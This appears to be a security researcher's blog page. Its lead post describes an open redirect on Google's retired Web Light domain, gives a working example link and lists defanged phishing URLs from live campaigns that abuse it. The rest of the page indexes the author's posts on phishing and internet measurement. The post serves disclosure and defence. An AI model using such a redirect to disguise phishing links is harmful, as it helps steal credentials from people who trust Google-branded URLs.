What is important is that even though Google sees “very little practical risk” in open redirection, it has implemented sufficient security measures for most of its services where open redirection is actually used. I.e., some Google services do allow for redirection to arbitrary URLs, however, if these services are linked to from an external source (e.g., an e-mail or a third-party site), then the user is first asked if the redirection should take place. You can see how this looks by opening either of the following links.

https://www.google.com/url?sa=t&url=https://untrustednetwork.net https://www.youtube.com/redirect?q=https%3A%2F%2Fwww.untrustednetwork.net

While some aspects of the defensive mechanisms that are in place could potentially be improved upon, they generally provide adequate protection from the most common exploitation approaches and techniques. Problem is that not all Google services and domains are secured in this way.

One service, which does not have any similar protection mechanisms in place, is/was named Google Web Light.

It was first introduced in 2015 and provided a way to load web pages faster in Chrome on Android devices. In simple terms, Web Light served as a specialized proxy server, which “optimized” the transmitted content through compression and filtering in such a way, that according to Google, in their experiments, optimized pages loaded four times faster than the original pages and used 80% fewer bytes. For mobile devices of the time, which were connected to the internet through low-bandwidth links (i.e., over 2G), this undoubtedly made significant difference.

Google offered the service for several years (though only in selected countries) before officially retiring the Web Light crawler in December 2022, when it was decided that the service was no longer needed given the increase in general availability of fast mobile internet and more computationally powerful mobile devices.

However, the fact that the Web Light service as a whole was retired didn’t mean that all of its functions suddenly stopped working. In fact, to this day, the Web Light preview functionality is partially available… though it does not function in precisely the same way as it used to.

Source: Google

If one tries to use the preview functionality these days, it does not provide a preview of a web page through the Web Light crawler as it used to – it can’t since the crawler is no longer being used – but rather simply redirects the visitor to the provided target URL using HTTP 301 response… You can probably see where this is going.

Indeed, the redirection mechanism used on https://googleweblight.com/ appears to be completely open and unrestricted, and – unlike YouTube and Google search – does not display any warning that the browser is about to be redirected. You may try this yourself by opening the following link.

https://googleweblight.com/i?u=untrustednetwork.net

How big of a problem is this? Well, it depends on how trustworthy you consider the domain googleweblight.com to be… It certainly isn’t as bad as if the open redirect existed on google.com (though, by the way, there is at least one on that domain as well). Nevertheless, the fact that the domain name begins with “www.google…”, and that the domain is actually registered by Google lends it at least some level of credibility, both when it comes to people seeing a link to it, as well as when such a link is evaluated by automated security solutions.

Threat actors obviously think that is looks trustworthy too, since I have seen the open redirect on googleweblight.com used in two different phishing campaigns just last week…

As you may see, the links in the two phishing messages pointed to the following URLs:

hxxp[:]//googleweblight[.]com/i?u=hxxps[:]//bafybeicrejl4lniju4uumll6zph6fbntlgnarnd22kyijwfqmcltj2icba.ipfs.cf-ipfs[.]com/webmail.html#[e-mail address]

hxxps[:]//googleweblight[.]com/i?u=hxxps[:]//cloudflare-ipfs[.]com/ipfs/bafybeifrl56eni6oixqpdknl6n2fcatl23jvefr4knsrbaut7opquzcyry/#[e-mail address]

Both of these links still work at the time of writing and lead to generic credential-stealing phishing pages. Note that both of them are hosted on IPFS, even if they are accessed through different gateways…

This is far from the first time that the Google Web Light open redirect mechanism was used in a phishing campaign – analysts from Trustwave mentioned seeing it used in 2022, and I myself came across it in a phishing campaign in 2023. Nevertheless, the fact that even with the limited visibility I have, I came across two messages from different campaigns that exploit this vulnerability in a single week would seem to indicate that the use of this redirection mechanism by phishing authors might be becoming more of a mainstream technique, and thus might warrant some response.

I have therefore reported the fact that the open redirect on the Web Light domain exists and is under active exploitation to Google, along with a recommendation for implementing the same defenses there, as they have on their other services. They responded that the open redirect is intended behavior, and that their “position on open redirectors is described in greater detail in this article”. Since it therefore appears that Google’s “Web Light Open Redirection Service”, as I shall call it from now on, will stay with us for at least the foreseeable future, it might be worth thinking about what we may do about it ourselves.

Since the googleweblight.com domain is connected with a retired service and will therefore hardly be used for anything business-relevant in the near future, the most straightforward approach would seem to be to filter out/quarantine any e-mails with links that point to it and/or to completely block access to it. Although the domain will probably never make it to any commercial or publicly available blocklist, since it is registered by Google, and no content hosted on it is actually malicious, nothing is stopping us from manually adding it to any internal blocklists we may be using within our own organizations…

While we’re on the subject, it might be worthwhile to do the same thing with all public IPFS gateways as well. Since IPFS currently has very low (if any) business relevance for most organization, and threat actors use it quite heavily to host phishing pages, this simple step might help us significantly reduce risk connected with untargeted phishing… But we’ll discuss that in more detail another time.

SANS ISC Diary - Phishing pages hosted on archive.org

Jan Kopriva — Wed, 21 Feb 2024 08:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at hosting of phishing pages on archive.org…

SANS ISC Diary - Computer viruses are celebrating their 40th birthday (well, 54th, really)

Jan Kopriva — Tue, 06 Feb 2024 10:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an interesting anniversary related to computer viruses…

SANS ISC Diary - Interesting large and small malspam attachments from 2023

Jan Kopriva — Wed, 03 Jan 2024 15:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the largest and smallest malware samples, that my malspam traps caught last year…

OT Security Links

Jan Kopriva — Mon, 01 Jan 2024 10:00:00 +0100

SANS ISC Diary - Whose packet is it anyway: a new RFC for attribution of internet probes

Jan Kopriva — Wed, 06 Dec 2023 11:45:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a recently published RFC which provides way for network scans performed over the internet to be attributed…

SANS ISC Diary - Phishing page with trivial anti-analysis features

Jan Kopriva — Fri, 17 Nov 2023 11:10:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a phishing page with easily bypassed anti-analysis features…

MITRE ATT&CK Links

Jan Kopriva — Mon, 06 Nov 2023 17:00:00 +0100

SANS ISC Diary - Are typos still relevant as an indicator of phishing?

Jan Kopriva — Mon, 16 Oct 2023 09:45:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll discuss whether typos are still useful as an indicator of phishing…

SANS ISC Diary - A new spin on the ZeroFont phishing technique

Jan Kopriva — Tue, 26 Sep 2023 11:20:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a novel phishing technique, in which text written in zero-size font is used in order to make messages appear more trustworthy…

SANS ISC Diary - The low, low cost of (committing) cybercrime

Jan Kopriva — Thu, 31 Aug 2023 12:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a simple phishing which demonstrates quite well that the cost of committing cybercrime can unfortunately be extremely low…

SANS ISC Diary - From small LNK to large malicious BAT file with zero VT score

Jan Kopriva — Thu, 03 Aug 2023 18:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a malicious BAT file which was used in a phishing campaign last week and according to VirusTotal is still being detected as benign by all anti-virus engines it has access to…

SANS ISC Diary - Kazakhstan - the world's last SSLv2 superpower... and a country with potentially vulnerable last-mile internet infrastructure

Jan Kopriva — Wed, 28 Jun 2023 08:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a surprisingly high number of old network devices in Kazakhstan, which still support SSL version 2.0…

SSL version 2.0 support on web servers in the Czech Republic

Jan Kopriva — Thu, 08 Jun 2023 07:30:00 +0100

Last week, I published an article discussing the weakening support for SSLv2 on web servers on the global internet. While I was writing it, it occurred to me that it might also be interesting to look specifically at the situation as it relates to web servers in the Czech Republic.

Long story short, in CZ, the situation is somewhat worse than average - globally, we currently see SSLv2 on about 0.35% of all web servers, while in the Czech Republic, it is a little over 0.89%. Nevertheless, the overall trend of SSLv2 “dying off” is present even here, as you may see in the following chart…

SANS ISC Diary - After 28 years, SSLv2 is still not gone from the internet... but we're getting there

Jan Kopriva — Thu, 01 Jun 2023 10:40:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at how SSLv2 support on web servers connected to the internet is slowly “dying off”…

SANS ISC Diary - Ongoing Facebook phishing campaign without a sender and (almost) without links

Jan Kopriva — Mon, 15 May 2023 09:35:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an interesting, long-term phishing campaign targeting Facebook users…

SANS ISC Diary - 'Passive' analysis of a phishing attachment

Jan Kopriva — Mon, 01 May 2023 12:40:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a “passive”, OPSEC-friendly approach to the analysis of HTML phishing attachments…

SANS ISC Diary - The strange case of Great honeypot of China

Jan Kopriva — Mon, 17 Apr 2023 10:50:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a sharp increase of Shodan’s detections of honeypots in China…

SANS ISC Diary - Use of X-Frame-Options and CSP frame-ancestors security headers on 1 million most popular domains

Jan Kopriva — Fri, 31 Mar 2023 14:50:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the use of security-related HTTP headers that are able to prevent “framing attacks” on one million most commonly visited domains…

SANS ISC Diary - IPFS phishing and the need for correctly set HTTP security headers

Jan Kopriva — Wed, 15 Mar 2023 12:20:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at several phishing pages hosted on a disributed file system IPFS and shortly dicuss the potential of HTTP security headers to serve as a defense against phishing…

SANS ISC Diary - HTML phishing attachment with browser-in-the-browser technique

Jan Kopriva — Thu, 16 Feb 2023 12:20:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the use of “browser-in-the-browser” technique in a generic phishing campaign…

SANS ISC Diary - SPF and DMARC use on 100k most popular domains

Jan Kopriva — Thu, 19 Jan 2023 12:40:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at SPF and DMARC use on world’s most popular domains…

SANS ISC Diary - Passive detection of internet-connected systems affected by vulnerabilities from the CISA KEV catalog

Jan Kopriva — Wed, 11 Jan 2023 12:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a new function of my TriOp tool and its use for passive identification of systems affected by vulnerabilities listed in the CISA KEV Catalog…

TriOp update - version 1.5

Jan Kopriva — Wed, 11 Jan 2023 11:50:00 +0100

I’ve published version 1.5 of TriOp today. Besides the addition of several CVEs into the internal list of vulnerabilities, a new feature was also introduced, which enables automatic generation of Shodan queries for the current list of vulnerabilities from the CISA Known Exploited Vulnerabilities (KEV) Catalog.

As alway, you may download the latest version of TriOp from my GitHub.

SANS ISC Diary - SPF and DMARC use on GOV domains in different ccTLDs

Jan Kopriva — Fri, 30 Dec 2022 16:45:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the use of SPF and DMARC on second-level governmental domains in different ccTLDs…

Presentations from 67th TF-CSIRT meeting - Threat modeling with ATT&CK and How quickly do we patch?

Jan Kopriva — Sat, 01 Oct 2022 10:40:00 +0100

67th meeting of the TF-CSIRT community took place this week and I’ve had a chance to contribute to it with two presentations - one discussing the speed with which we apply patches (from a global standpoint), and another one, in which we looked at a basic approach to threat modeling using MITRE ATT&CK. If you would like to take a look at the slides, you may find them here - even if you didn’t have a chance to attend the event, I believe they might be useful.

SANS ISC Diary - Traffic Light Protocol (TLP) 2.0 is here

Jan Kopriva — Thu, 04 Aug 2022 10:35:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a new version of the Traffic Light Protocol standard, which was published by FIRST earlier this week…

SANS ISC Diary - EternalBlue 5 years after WannaCry and NotPetya

Jan Kopriva — Tue, 05 Jul 2022 10:35:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the number of internet-exposed systems that are still vulnerable to the EternalBlue exploit…

Malware analysis - 'video write-up' of one of the ECSC 2021 challenges

Jan Kopriva — Tue, 21 Jun 2022 08:25:00 +0100

I published a new video on the Untrusted Network YouTube channel today, which shows one possible solution for a “malware analysis task” which I prepared for the final round of last year’s European Cyber Security Challenge. If you would like to take a closer look at the multi-stage “malware” which contestants in the ECSC 2021 had to analyze, or if you would like to try to analyze the sample yourself, now you have a chance to do so - you will find further information in the following video.

The video is also available in a Czech language version.

SANS ISC Diary - HTML phishing attachments - now with anti-analysis features

Jan Kopriva — Wed, 01 Jun 2022 12:05:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an unusual use of anti-debugging/anti-analysis techniques in a phishing page…

SANS ISC Diary - Do you want 30 BTC? Nothing is easier (or cheaper) in this phishing campaign...

Jan Kopriva — Wed, 18 May 2022 07:50:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a sophisticated phishing campaign that offered 30 BTC (in someone else’s account) in an attempt to get victims to send it money…

SANS ISC Diary - What is the simplest malware in the world?

Jan Kopriva — Fri, 06 May 2022 09:20:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at what might be the simplest malware in the world…

SANS ISC Diary - MITRE ATT&CK v11 - a small update that can help (not just) with detection engineering

Jan Kopriva — Wed, 27 Apr 2022 11:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a new version of the MITRE ATT&CK framework, which was published this week…

SANS ISC Diary - How is Ukrainian internet holding up during the Russian invasion?

Jan Kopriva — Wed, 13 Apr 2022 11:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the impact of the current war in Ukraine on the country’s internet…

Log4shell Lightning talk - 2022 TF-CSIRT Meeting & FIRST Regional Symposium Europe

Jan Kopriva — Mon, 14 Mar 2022 09:00:00 +0100

Few weeks ago, I attended the 2022 TF-CSIRT Meeting & FIRST Regional Symposium Europe and gave a lighting talk there discussing couple of interesting trends seen in Log4shell exploitation attempts and the possibility to create a simple generic defense agains similar attacks in the future. Recordings of all the talks are now available on YouTube and you may find my lightning talk in the video under this paragraph or on this link. Lightning talks were supposed to be only 5 minutes long and I went significantly over the allocated time, but I hope that most attendees didn’t mind it too much…

SANS ISC Diary - Over 20 thousand servers have their iLO interfaces exposed to the internet, many with outdated and vulnerable versions of FW

Jan Kopriva — Wed, 26 Jan 2022 12:20:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the high number of HP servers that have their out-of-band configuration interface exposed to the internet…

SANS ISC Diary - Phishing e-mail with...an advertisement?

Jan Kopriva — Tue, 18 Jan 2022 10:10:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a slightly unusual phishing message that contained text reminiscent of an advertisement for Xerox products…

Podcast with Gaper.io about (not just) work from home security

Jan Kopriva — Fri, 14 Jan 2022 14:00:00 +0100

I’ve been invited to do a podcast with Gaper.io some time back, and the resulting recording was published today. Mark Allen, Gaper’s business development director, and I spent nearly 20 minutes talking about different security aspects of work from home, general security awareness and several other topics. If you’re looking for a light, security-related podcast listen to, this one might not be a bad choice…

Open ports statistics for 2021

Jan Kopriva — Wed, 05 Jan 2022 07:30:00 +0200

The year 2021 is behind us which means that the time has come for us to take a look at how the internet changed over its 365 days.

As always, the data, on which the following charts are based, have been gathered using Shodan. Therefore bear in mind that although the charts should give us a good enough view of more significant changes, they may not be completely accurate (see the first post with quarterly statistics.

It should be mentioned that since Shodan started offering a new service called Trends few months back, which enables one to quickly view similar charts as the ones bellow for arbitrary search queries, this may be the last post in the “Open port statistics” series, since these are somewhat superfluous given the new service… Althoug, since Shodan Trends displays only “high-level” charts with significantly lower level of precission (it seems that it uses either an average or a median for each month, whereas the following charts show precise values returned by Shodan on each day in the year), maybe I’ll decide to keep posting these at least on a yearly basis - we’ll see…

Should you be interested in the port situation in the Czech Republic, you may find corresponding charts here.

Bellow, you may find charts for the following protocols and ports:

Web

E-mail

SSL/TLS

Industrial Control Systems (ICS)

SSH (port 22)

Telnet (port 23)

DNS (port 53)

NTP (port 123)

SNMP (port 161)

SMB (port 445)

RDP (port 3389)

Web

HTTP (port 80)

HTTPS (port 443)

TLS 1.3 (port 443)

TLS 1.2 (port 443)

TLS 1.1 (port 443)

TLS 1.0 (port 443)

SSL 3.0 (port 443)

SSL 2.0 (port 443)

E-mail

SMTP (port 25)

SMTPS (port 465)

IMAP (port 143)

IMAPS (port 993)

POP3 (port 110)

POP3S (port 995)

SSL/TLS

TLS 1.3 (all ports)

TLS 1.2 (all ports)

TLS 1.1 (all ports)

TLS 1.0 (all ports)

SSL 3.0 (all ports)

SSL 2.0 (all ports)

Industrial Control Systems

All ICS protocols

Modbus (port 502)

EIBnet/IP (port 3671)

BACnet/IP (port 47808)

SANS ISC Diary - Do you want your Agent Tesla in the 300 MB or 8 kB package?

Jan Kopriva — Fri, 31 Dec 2021 13:15:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at some of the largest and smallest malicious PE files that were caught by my malspam trap in 2021…

SANS ISC Diary - PowerPoint attachments, Agent Tesla and code reuse in malware

Jan Kopriva — Mon, 20 Dec 2021 17:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a malspam message with macro-enabled PowerPoint attachment that turned out to be first stage of an Agent Tesla infection chain…

SANS ISC Diary - Phishing page hiding itself using dynamically adjusted IP-based allow list

Jan Kopriva — Wed, 24 Nov 2021 12:10:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an interesting protection mechanism used on a phishing site to deny access to it to anyone but the victim who first clicked the link in a phishing mail…

TriOp update - version 1.4 (and Shodan Trends)

Jan Kopriva — Thu, 28 Oct 2021 14:00:00 +0200

I’ve published version 1.4 of TriOp today. The only change in this version is the addition of CVE-2021-31206 (vulnerability used in the ProxyShell attack) to the relevant search list.

One additional point that deserves a mention is that Shodan has recently opened access to a new service called Shodan Trends, which enables users to generate trend charts for (probably) arbitrary Shodan queries. Although these charts are based on monthly averages and are therefore not as precise as charts generated from data collected on a daily basis using TriOp, they can certainly provide one with an interesting look at long-term trends. If you therefore only require general information about trends related to one or more Shodan queries and don’t need a detailed view at how things change on a day-to-day basis, then this service might be a viable alternative to TriOp for you…

As alway, you may download the latest version of TriOp from my GitHub.

Open ports statistics for Q3 2021

Jan Kopriva — Fri, 01 Oct 2021 15:00:00 +0200

Only the last three months remain until the end of 2021, which means it’s time for a look at how the internet as a whole changed in the third quarter of the year.

Should you be interested in the port situation in the Czech Republic, you may find corresponding charts here.

Bellow, you may find charts for the following protocols and ports:

Web

E-mail

SSL/TLS

Industrial Control Systems (ICS)

SSH (port 22)

Telnet (port 23)

DNS (port 53)

NTP (port 123)

SNMP (port 161)

SMB (port 445)

RDP (port 3389)

Web

HTTP (port 80)

HTTPS (port 443)

TLS 1.3 (port 443)

TLS 1.2 (port 443)

TLS 1.1 (port 443)

TLS 1.0 (port 443)

SSL 3.0 (port 443)

SSL 2.0 (port 443)

E-mail

SMTP (port 25)

SMTPS (port 465)

IMAP (port 143)

IMAPS (port 993)

POP3 (port 110)

POP3S (port 995)

SSL/TLS

TLS 1.3 (all ports)

TLS 1.2 (all ports)

TLS 1.1 (all ports)

TLS 1.0 (all ports)

SSL 3.0 (all ports)

SSL 2.0 (all ports)

Industrial Control Systems

All ICS protocols

Modbus (port 502)

EIBnet/IP (port 3671)

BACnet/IP (port 47808)

Interview - ECSC 2021

Jan Kopriva — Thu, 30 Sep 2021 21:10:00 +0200

Prague is currently hosting this year’s European Cyber Security Challenge - an international security competition for teams of young talents from different European countries. Since I am the author of one of the practical challenges that make up the competition and ALEF is one of its sponsors, I was asked for a short interview by the competition’s organizers in the run up to the Challenge itself. The resulting video was published on Youtube today. I think it looks fairly good, but you can judge the result for yourself…

SANS ISC Diary - TLS 1.3 and SSL - the current state of affairs

Jan Kopriva — Tue, 28 Sep 2021 11:20:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the current state of adoption of TLS 1.3 and disposal of SSL 2.0 and 3.0…

SANS ISC Diary - Phishing 101: why depend on one suspicious message subject when you can use many?

Jan Kopriva — Thu, 16 Sep 2021 09:10:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a phishing that tried to use multiple suspicious message subjects to lure the recipient to a phishing site…

Presentation from TF-CSIRT meeting - How TLS 1.3 adoption (and disposal of SSL) is going

Jan Kopriva — Tue, 14 Sep 2021 19:00:00 +0200

64th meeting of the TF-CSIRT community took place today. I’ve had the pleasure to contribute to it with a short presentation about the current state of adoption of TLS 1.3 and continued use of SSL protocols. Although I usually don’t mention presentations I’ve prepared for TF-CSIRT meetings here, I’ve decided to make an exception for this one, since I believe that it might be worth looking at even without the accompanying commentary. If you’d like to take a look at it, you may find it (along with several other presentations) on this link.

SANS ISC Diary - There may be (many) more SPF records than we might expect

Jan Kopriva — Wed, 25 Aug 2021 11:55:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the surprisingly high number of SPF records set for domains in the CZ TLD…

TriOp update - version 1.3

Jan Kopriva — Thu, 12 Aug 2021 17:25:00 +0200

I’ve published version 1.3 of TriOp today. The only change in this version is the addition of vulnerabilities used in the ProxyShell attack (CVE-2021-31207, CVE-2021-34473 and CVE-2021-34523) to the relevant search list.

Chaining of the vulnerabilities in question may lead to an unauthenticated RCE, so one would hope that given the recent media attention that was given to them, most organizations would patch them quickly. However, so far, the daily increases in number of their detections on Shodan seem to paint a slightly less optimistic picture…

As alway, you may download the latest version of TriOp from my GitHub.

SANS ISC Diary - ProxyShell - how many Exchange servers are affected and where are they?

Jan Kopriva — Mon, 09 Aug 2021 12:25:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the number of Exchange serveres vulnerable to the ProxyShell attack…

List of free online malware analysis sandboxes v1.7

Jan Kopriva — Wed, 04 Aug 2021 08:55:00 +0200

Since the online malware sandbox landscape has changed somewhat over the last six months, I have updated my list of most useful sandboxes to reflect these changes. One improvement that deserves a special mention was a significant increase in number of supported operating systems by the Hatching Triage platform…

As always, you may find the current version here.

SANS ISC Diary - A sextortion e-mail from...IT support?!

Jan Kopriva — Wed, 28 Jul 2021 08:35:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a slightly unusual sextortion phishing, in which its author claimed to work for an IT service company hired by recipients e-mail provider…

SANS ISC Diary - One way to fail at malspam - give recipients the wrong password for an encrypted attachment

Jan Kopriva — Wed, 14 Jul 2021 13:10:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a malspam campaign, whose authors failed to include a correct password to decrypt the malicious attachment…

Open ports statistics for Q2 2021

Jan Kopriva — Wed, 30 Jun 2021 21:15:00 +0200

The first half of 2020 is behind us, which means it’s time for a look at how the internet as a whole changed during the past 3 months.

Should you be interested in the port situation in the Czech Republic, you may find corresponding charts here.

Bellow, you may find charts for the following protocols and ports:

Web

E-mail

SSL/TLS

Industrial Control Systems (ICS)

SSH (port 22)

Telnet (port 23)

DNS (port 53)

NTP (port 123)

SNMP (port 161)

SMB (port 445)

RDP (port 3389)

Web

HTTP (port 80)

HTTPS (port 443)

TLS 1.3 (port 443)

TLS 1.2 (port 443)

TLS 1.1 (port 443)

TLS 1.0 (port 443)

SSL 3.0 (port 443)

SSL 2.0 (port 443)

E-mail

SMTP (port 25)

SMTPS (port 465)

IMAP (port 143)

IMAPS (port 993)

POP3 (port 110)

POP3S (port 995)

SSL/TLS

TLS 1.3 (all ports)

TLS 1.2 (all ports)

TLS 1.1 (all ports)

TLS 1.0 (all ports)

SSL 3.0 (all ports)

SSL 2.0 (all ports)

Industrial Control Systems

All ICS protocols

Modbus (port 502)

EIBnet/IP (port 3671)

BACnet/IP (port 47808)

SANS ISC Diary - Phishing asking recipients not to report abuse

Jan Kopriva — Tue, 22 Jun 2021 15:15:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a phishing message that ended with an unusual request…

SANS ISC Diary - Architecture, compilers and black magic, or 'what else affects the ability of AVs to detect malicious files'

Jan Kopriva — Wed, 09 Jun 2021 13:25:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at how the use of a compiler affects the ability of anti-malware tools to detect malicious code…

SANS ISC Diary - All your Base are...nearly equal when it comes to AV evasion, but 64-bit executables are not

Jan Kopriva — Thu, 27 May 2021 11:30:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the difference (or lack thereof) different binary-to-text encodings make when it comes to anti-malware evasion…

SANS ISC Diary - Number of industrial control systems on the internet is lower then in 2020...but still far from zero

Jan Kopriva — Wed, 12 May 2021 13:15:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the number of Industrial Control Systems accessible from the internet…

SANS ISC Diary - Hunting phishing websites with favicon hashes

Jan Kopriva — Mon, 19 Apr 2021 11:15:00 +0200

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at how HTTP favicon hashes may be used to identify IP addresses hosting phishing websites…

SANS ISC Diary - Malspam with Lokibot vs. Outlook and RFCs

Jan Kopriva — Tue, 06 Apr 2021 18:30:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center website. In it, we’ll take a look at an interesting malspam message carrying the Lokibot infostealer and also causing quite unusual behavior in Outlook…

Open ports statistics for Q1 2021

Jan Kopriva — Mon, 05 Apr 2021 11:30:00 +0200

The first quarter of 2020 is behind us, which means it’s time for another look at some of the interesting ports accessible on public IPs. This time however, we will take a look at how the internet as a whole changed during the past 3 months in terms of accessible ports, but also at specific changes related to support of different versions of SSL and TLS.

Should you be interested in the port situation in the Czech Republic, you may find corresponding charts here.

Bellow, you may find charts for the following protocols and ports:

Web

E-mail

SSL/TLS

Industrial Control Systems (ICS)

SSH (port 22)

Telnet (port 23)

DNS (port 53)

NTP (port 123)

SNMP (port 161)

SMB (port 445)

RDP (port 3389)

Web

HTTP (port 80)

HTTPS (port 443)

TLS 1.3 (port 443)

TLS 1.2 (port 443)

TLS 1.1 (port 443)

TLS 1.0 (port 443)

SSL 3.0 (port 443)

SSL 2.0 (port 443)

E-mail

SMTP (port 25)

SMTPS (port 465)

IMAP (port 143)

IMAPS (port 993)

POP3 (port 110)

POP3S (port 995)

SSL/TLS

TLS 1.3 (all ports)

TLS 1.2 (all ports)

TLS 1.1 (all ports)

TLS 1.0 (all ports)

SSL 3.0 (all ports)

SSL 2.0 (all ports)

Industrial Control Systems

All ICS protocols

Modbus (port 502)

EIBnet/IP (port 3671)

BACnet/IP (port 47808)

SANS ISC Diary - Old TLS versions - gone, but not forgotten... well, not really 'gone' either

Jan Kopriva — Tue, 30 Mar 2021 10:20:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at changes in the number of web servers, which support TLS 1.0 and TLS 1.1…

SANS ISC Diary - 50 years of malware? Not really. 50 years of computer worms? That's a different story...

Jan Kopriva — Tue, 16 Mar 2021 08:20:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at Creeper, the first computer worm, which was created 50 years ago - according to some sources, on this very day in 1971…

TriOp update - version 1.2

Jan Kopriva — Sun, 14 Mar 2021 14:00:00 +0100

I’ve published version 1.2 of TriOp today. A bug was present in the “add” mode in version 1.1, which resulted in incorrect behavior when parameterized queries were present in search files, and this update fixes it.
When using the “add” mode, it is now possible to specify a filter (–filter), which determines what parameter from the original search file will be added to every new query. If filter is ommited, no parameter will be appended to newly added queries.

As alway, you may download the latest version of TriOp from my GitHub.

TriOp update - version 1.1

Jan Kopriva — Mon, 08 Mar 2021 11:00:00 +0100

I’ve published version 1.1 of TriOp today. I’ve added CVEs for the recent Exchange vulnerabilities to the vulnerability search list, since Shodan is now capable of detecting systems affected by them. In response to a request from the CSIRT community, I’ve also added the option for use of arbitrary filter along with a list of parameters.
In version 1.0, it was only possible to generate composite searches based on list of countries, however in version 1.1, one may specify any filter (i.e. not just “country”) for use with the list of parameters.
Previously, one could specify a list of searches (-s/-S) and a list of countries (-c/-C) and TriOp would run each search for each specified country and even potentially output results for each country into a specific file (–country_names).
In the updated version, one may specify an arbitrary filter (–filter) and a list of parameters for that filter (-p/-P) along with a list of searches (-s/-S) and the result will be the same. The “one output file per parameter” option is available as well (–filter_names).
What I assume will be of most useful when it comes to this feature, will be the filter “net” – the following example shows how a command using it might look:

triop.py -s "port:80,port:443" --filter net -p "200.0.0.0/16,200.1.0.0/16"

in which case, the output might look similar to:

Current IP count for query port:80 net:"200.0.0.0/16" is 1643
Current IP count for query port:443 net:"200.0.0.0/16" is 1474
Current IP count for query port:80 net:"200.1.0.0/16" is 819
Current IP count for query port:443 net:"200.1.0.0/16" is 798

A country search could be done in the following manner:

triop.py -s "port:22,port:23" --filter country -p "CZ,DE"

and the output would be the same as with the use of the -c option:

Current IP count for query port:22 country:"CZ" is 83007
Current IP count for query port:23 country:"CZ" is 21143
Current IP count for query port:22 country:"DE" is 1467418
Current IP count for query port:23 country:"DE" is 31595

The original “country” options are still present but will be removed in future versions.

You may download the latest version of TriOp from my GitHub.

SANS ISC Diary - Qakbot in a response to Full Disclosure post

Jan Kopriva — Tue, 23 Feb 2021 11:30:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at an interesting e-mail message carrying Qakbot downloader, which appeared to be sent in a response to a historical Full Disclosure mailing list post…

SANS ISC Diary - Agent Tesla hidden in a historical anti-malware tool

Jan Kopriva — Thu, 11 Feb 2021 08:20:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at an interesting sample of Agent Tesla, which was hidden in the code of a legitimate historical anti-malware tool…

SANS ISC Diary - TriOp - tool for gathering (not just) security-related data from Shodan.io

Jan Kopriva — Wed, 27 Jan 2021 11:00:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at TriOp - my recently published tool, which enables anyone to periodically gather interesting data from Shodan.

TriOp - Tool for quickly gathering statistical information from Shodan.io

Jan Kopriva — Tue, 26 Jan 2021 07:30:00 +0100

